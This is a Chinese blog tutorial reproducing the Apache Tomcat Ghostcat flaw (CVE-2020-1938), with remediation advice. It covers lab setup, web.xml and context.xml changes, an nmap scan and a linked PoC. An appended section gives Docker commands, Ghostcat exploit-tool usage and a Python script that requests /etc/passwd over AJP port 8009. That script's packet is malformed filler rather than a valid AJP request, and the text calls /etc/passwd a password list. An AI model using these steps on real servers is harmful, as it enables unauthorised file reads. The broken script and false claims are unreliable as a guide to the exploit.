(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现

本文介绍Apache Tomcat CVE-2020-1938漏洞,该漏洞允许远程代码执行和文件包含。通过详细步骤演示如何在虚拟环境中复现漏洞,并提供修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

Apache Tomcat是Java Servlet,JavaServer Pages,Java Expression Language和WebSocket技术的开源实现。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。 最近,Apache Tomcat修复了一个漏洞(CVE-2020-1938),该漏洞使攻击者可以读取任何webapps文件(例如webapp配置文件,源代码等)或包括一个文件来远程执行代码。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

威胁类型

文件包含、远程代码执行

威胁等级

漏洞编号

CVE-2020-1938受影响系统及应用版本
apache tomcat 6
apache tomcat 7 < 7.0.100
apache tomcat 8 < 8.5.51
apache tomcat 9 < 9.0.31

漏洞复现:

1、搭建环境

VMware 虚拟机 windows 7
JDK 1.8.0_73
Apache tomcat 9.0.13

2、复现步骤

首先安装JDK(我这里用的jdk_1.8.0_241)然后配置环境变量
下载符合版本的Tomcat安装包 https://archive.apache.org/dist/tomcat/

下载JDK,准备配置环境
在这里插入图片描述

1、安装jdk 随意选择目录,如果没有特殊要求直接默认完成安装即可
2、安装jre→更改→ \java 之前目录和安装 jdk 目录相同即可
3、安装完JDK后配置环境变量 计算机→属性→高级系统设置→高级→环境变量

在这里插入图片描述

4、系统变量→新建 JAVA_HOME 变量 。

变量值填写jdk的安装目录

在这里插入图片描述

我的路径是C:\Program Files\Java\jdk1.8.0_241

5、系统变量→寻找 Path 变量→编辑

在变量值最后输入 %JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

在这里插入图片描述

6、系统变量→新建 CLASSPATH 变量

变量值填写 .;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar

在这里插入图片描述

7、检验是否配置成功 运行cmd 输入 java -version若如图所示 显示版本信息 则说明安装和配置成功。

在这里插入图片描述

8、在上述网址中下载Tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat。

在这里插入图片描述
在这里插入图片描述

9、访问http://localhost:8080

在这里插入图片描述

10、修改配置文件

首先修改apache-tomcat-9.0.13\conf\ web.xml

(1)将此段注释删除,并添加红框内代码。

      <init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
      </init-param>
      <init-param>
        <param-name>executadle</param-name>
        <param-value></param-value>
      </init-param>

在这里插入图片描述

(2)将此处注释删除
在这里插入图片描述

11、然后更改

apache-tomcat-9.0.13\conf\ context.xml

添加privileged="true"语句 如下图

在这里插入图片描述

环境搭建完成!

12、使用nmap对tomcat的开放端口进行扫描

查看搭建tomcat主机的ip

在这里插入图片描述

扫描端口

在这里插入图片描述

看到开放了8080端口和8009端口,证明存在此漏洞。

13、在CMD执行环境,python环境为2.7

Poc地址:
https://github.com/wanghuohuobutailao/suricata/blob/master/cve%202020-1938.py
在这里插入图片描述
可以成功访问文件,漏洞复现成功!

2、修复建议

1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009”

protocol="AJP/1.3"redirectPort=“8443”/>

2、升级官方最新版本。
### Tomcat AJP CVE-2020-1938 漏洞复现方法与攻击原理 #### 背景介绍 Tomcat AJP 协议中的文件包含漏洞CVE-2020-1938)允许攻击者通过构造恶意请求来读取服务器上的任意文件。此漏洞源于 AJP 协议处理不当,可能导致敏感数据泄露甚至远程代码执行--- #### 攻击原理 AJP 是一种二进制通信协议,用于在 Web 服务器(如 Apache HTTP Server)和应用服务器(如 Tomcat)之间传输数据。当启用 AJP 连接器时,如果未正确配置权限控制,则可能被滥用以访问受保护资源。具体来说,攻击者可以通过发送特殊格式的 AJP 请求到默认端口 `8009` 来触发漏洞[^2]。 --- #### 环境搭建 为了重现该漏洞,可以使用 Docker 镜像快速部署易受影响版本的 Tomcat 实例: ```bash docker pull duonghuuphuc/tomcat-8.5.32 docker run -d --name vulnerable-tomcat -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32 ``` 上述命令会启动一个带有已知漏洞Tomcat 容器实例,并映射必要的端口以便测试[^3]。 --- #### 利用工具准备 目前有多个开源项目可用于检测和利用此漏洞,以下是常用的两种方式: 1. **Ghostcat 工具** Ghostcat 提供了一个简单的界面来进行漏洞扫描和验证。可以从其官方仓库下载并运行: ```bash git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git cd Ghostcat-CNVD-2020-10487 python ghostcat.py http://<target-ip>:8009/ ``` 如果目标主机存在漏洞,工具将返回指定路径的内容[^4]。 2. **自定义 Python 脚本** 下面是一个基于 CNVD 的 PoC 脚本示例,可以直接修改后使用: ```python import socket def send_ajp_request(ip, port=8009, filename="/etc/passwd"): packet = b'\x12\x34\x00\x02\xfd\x00\x00\x00\x00\x00\xbb\x02\x4e' \ b'\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ f'{filename}'.encode() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((ip, port)) sock.send(packet) response = sock.recv(1024).decode('utf-8', errors='ignore') if 'root:' in response: print("[+] Vulnerable! File content:") print(response.strip()) else: print("[-] Not vulnerable or file not found.") except Exception as e: print(f"[!] Error occurred: {str(e)}") finally: sock.close() if __name__ == "__main__": target_ip = input("Enter the IP address of the target server: ") send_ajp_request(target_ip) ``` 此脚本尝试连接至目标机器的 AJP 端口,并请求 `/etc/passwd` 文件内容作为演示[^1]。 --- #### 结果分析 一旦成功获取预期文件内容(例如 Linux 系统用户的密码列表),即可确认目标系统受到 CVE-2020-1938 影响。需要注意的是,在实际渗透测试过程中应严格遵循法律规范,仅针对授权范围内的资产操作。 --- #### 补救措施 为了避免此类风险,建议采取以下防护手段之一或组合实施: - 关闭不必要的 AJP 功能; - 使用防火墙限制对 AJP 端口的外部访问; - 更新至最新稳定版 Tomcat 并重新评估安全性设置。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值